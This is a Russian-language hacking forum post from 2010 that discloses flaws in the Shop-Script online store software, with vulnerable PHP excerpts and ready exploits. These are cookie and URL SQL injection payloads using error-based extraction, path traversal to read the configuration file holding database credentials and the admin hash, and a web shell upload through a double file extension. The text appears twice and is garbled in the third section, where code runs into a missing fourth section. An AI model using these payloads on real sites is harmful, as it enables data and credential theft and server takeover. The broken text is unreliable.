[Dark Green]
21.11.2010, 22:29
Оф. сайт: www.shop-script.ru | www.shop-script.соm
1) SQL injection
Необходимо register_globals=on, magic_quotes=off
Вообщем смотрим первый блок кода в файле index.php [77-88]:
PHP:
...
//$productID
if (!isset($_GET["productID"])){
if (isset($_POST["productID"])){
$productID= (int)$_POST["productID"];
}
}else{
$productID= (int)$_GET["productID"];
}
И, проанализировав логику работы этого псевдофильтра, можно понять что передать переменную методом GET и POST не получится никак.
НО! Разработчик забыл про куки! То есть создав куку с именем "productID" при register_global=on мы сможем создать глобальную переменную "$productID", которая в свою очередь попадет в запрос:
PHP:
if (isset($productID))//to rollout categories navigation table
{
$q=db_query("SELECT categoryID FROM ".PRODUCTS_TABLE." WHERE productID='$productID'") or die (db_error());
$r=db_fetch_row($q);
if ($r)$categoryID=$r[0];
}
...
Правда для успешной эксплуатации нам потребуется magic_quotes=off. И к сожалению прямого вывода получить не удасться так как данная переменная попадает еще в несколько sql запросов дальше, и везде скрипт отрубается при возникновении ошибки в запросе. Так что тут юзать только метод вывода данных в тексте ошибок.
Эксплойт:
Code:
http://shop-script/index.php
COOKIE: productID=1' and (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
--------------------------------------------------------------------------------
2) Чтение файлов
Зависимостей нет
Файл includes/aux_page.php:
PHP:
if (isset($_GET["aux_page"])){
if (strstr($_GET["aux_page"],"aux") &&file_exists("./cfg/".$_GET["aux_page"])){
$f=file("./cfg/".$_GET["aux_page"]);
$out=implode("",$f);
...
}
...
}
Вообщем все банально, только лишь проверка на наличие строки "aux" в переменной, но это обходится элементрано:
Эксплойт:
Code:
http://shop-script/index.php?aux_page=blaaux/../connect.inc.php
Вполне возможно, что юзать не существующую диру прокатит не на всех серверах, поэтому как вариант
Code:
http://shop-script/index.php?aux_page=connect.inc.php%00
Но в последнем случае уже нужны magic_quotes=off
Кстати в файле connect.inc.php помимо данных для подключения к БД хранится и логин/хеш админа.
--------------------------------------------------------------------------------
3) SQL injection
Зависимостей нет
Интересная уязвимость, есть смысл рассмотреть ее повнимательнее.
Файл includes/search_simple.php[17-55]:
PHP:
$_GET["searchstring"] =trim($_GET["searchstring"]);
//Здесь поисковая строка пр оходит фильтрацию
$_GET["searchstring"] =validate_search_string($_GET["searchstring"]);
...
//Здесь поисковая строка ра збивается на слова
$search=explode(" ",$_GET["searchstring"]);
...
if ($_GET["searchstring"]){
...
$s_search="SELECT count(*) FROM ".PRODUCTS_TABLE." WHERE Enabled=1 and categoryID<>0 and ";
//Здесь первое(!) слово из п исковой строки попадает запрос
$s_search.="((name LIKE '%".$search[0]."%' OR description LIKE '%".$search[0]."%' OR brief_description LIKE '%".$search[0]."%') ";
for ($j=1;$j0){
$q=db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'") or die (db_error());
...
}
...
}
Тут все банально. Переменная не проходит фильтрацию и попадает в запрос.
Эксплойт:
Code:
http://shop-script/index.php?shopping_cart=1&add2cart=1'or (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
--------------------------------------------------------------------------------
5) Заливка шелла
Необходимы админские права.
Файл products.php:
PHP:
if (isset($_FILES["picture"]) &&$_FILES["picture"]["name"] &&preg_match('/\.(jpg|jpeg|gif|jpe|pcx|bmp)$/i',$_FILES["picture"]["name"])){
$_FILES["picture"]["name"] =str_replace(" ","_",$_FILES["picture"]["name"]);
$r=move_uploaded_file($_FILES["picture"]["tmp_name"],"./products_pictures/".$_FILES["picture"]["name"]);
...
}
Фактически файл проходит таки проверку на расширения. Но все наверное знают об обработке апачем множественных расширений. То есть апач обрабатывает с конца имени файла все расширения пока не найдет известное.
На основе этого мы просто загружаем наш шелл с именем "shell.php.pcx". Он будет находится по адресу:
http://shop-script/products_pictures/shell.php.pcx
1) SQL injection
Необходимо register_globals=on, magic_quotes=off
Вообщем смотрим первый блок кода в файле index.php [77-88]:
PHP:
...
//$productID
if (!isset($_GET["productID"])){
if (isset($_POST["productID"])){
$productID= (int)$_POST["productID"];
}
}else{
$productID= (int)$_GET["productID"];
}
И, проанализировав логику работы этого псевдофильтра, можно понять что передать переменную методом GET и POST не получится никак.
НО! Разработчик забыл про куки! То есть создав куку с именем "productID" при register_global=on мы сможем создать глобальную переменную "$productID", которая в свою очередь попадет в запрос:
PHP:
if (isset($productID))//to rollout categories navigation table
{
$q=db_query("SELECT categoryID FROM ".PRODUCTS_TABLE." WHERE productID='$productID'") or die (db_error());
$r=db_fetch_row($q);
if ($r)$categoryID=$r[0];
}
...
Правда для успешной эксплуатации нам потребуется magic_quotes=off. И к сожалению прямого вывода получить не удасться так как данная переменная попадает еще в несколько sql запросов дальше, и везде скрипт отрубается при возникновении ошибки в запросе. Так что тут юзать только метод вывода данных в тексте ошибок.
Эксплойт:
Code:
http://shop-script/index.php
COOKIE: productID=1' and (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
--------------------------------------------------------------------------------
2) Чтение файлов
Зависимостей нет
Файл includes/aux_page.php:
PHP:
if (isset($_GET["aux_page"])){
if (strstr($_GET["aux_page"],"aux") &&file_exists("./cfg/".$_GET["aux_page"])){
$f=file("./cfg/".$_GET["aux_page"]);
$out=implode("",$f);
...
}
...
}
Вообщем все банально, только лишь проверка на наличие строки "aux" в переменной, но это обходится элементрано:
Эксплойт:
Code:
http://shop-script/index.php?aux_page=blaaux/../connect.inc.php
Вполне возможно, что юзать не существующую диру прокатит не на всех серверах, поэтому как вариант
Code:
http://shop-script/index.php?aux_page=connect.inc.php%00
Но в последнем случае уже нужны magic_quotes=off
Кстати в файле connect.inc.php помимо данных для подключения к БД хранится и логин/хеш админа.
--------------------------------------------------------------------------------
3) SQL injection
Зависимостей нет
Интересная уязвимость, есть смысл рассмотреть ее повнимательнее.
Файл includes/search_simple.php[17-55]:
PHP:
$_GET["searchstring"] =trim($_GET["searchstring"]);
//Здесь поисковая строка пр оходит фильтрацию
$_GET["searchstring"] =validate_search_string($_GET["searchstring"]);
...
//Здесь поисковая строка ра збивается на слова
$search=explode(" ",$_GET["searchstring"]);
...
if ($_GET["searchstring"]){
...
$s_search="SELECT count(*) FROM ".PRODUCTS_TABLE." WHERE Enabled=1 and categoryID<>0 and ";
//Здесь первое(!) слово из п исковой строки попадает запрос
$s_search.="((name LIKE '%".$search[0]."%' OR description LIKE '%".$search[0]."%' OR brief_description LIKE '%".$search[0]."%') ";
for ($j=1;$j0){
$q=db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'") or die (db_error());
...
}
...
}
Тут все банально. Переменная не проходит фильтрацию и попадает в запрос.
Эксплойт:
Code:
http://shop-script/index.php?shopping_cart=1&add2cart=1'or (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
--------------------------------------------------------------------------------
5) Заливка шелла
Необходимы админские права.
Файл products.php:
PHP:
if (isset($_FILES["picture"]) &&$_FILES["picture"]["name"] &&preg_match('/\.(jpg|jpeg|gif|jpe|pcx|bmp)$/i',$_FILES["picture"]["name"])){
$_FILES["picture"]["name"] =str_replace(" ","_",$_FILES["picture"]["name"]);
$r=move_uploaded_file($_FILES["picture"]["tmp_name"],"./products_pictures/".$_FILES["picture"]["name"]);
...
}
Фактически файл проходит таки проверку на расширения. Но все наверное знают об обработке апачем множественных расширений. То есть апач обрабатывает с конца имени файла все расширения пока не найдет известное.
На основе этого мы просто загружаем наш шелл с именем "shell.php.pcx". Он будет находится по адресу:
http://shop-script/products_pictures/shell.php.pcx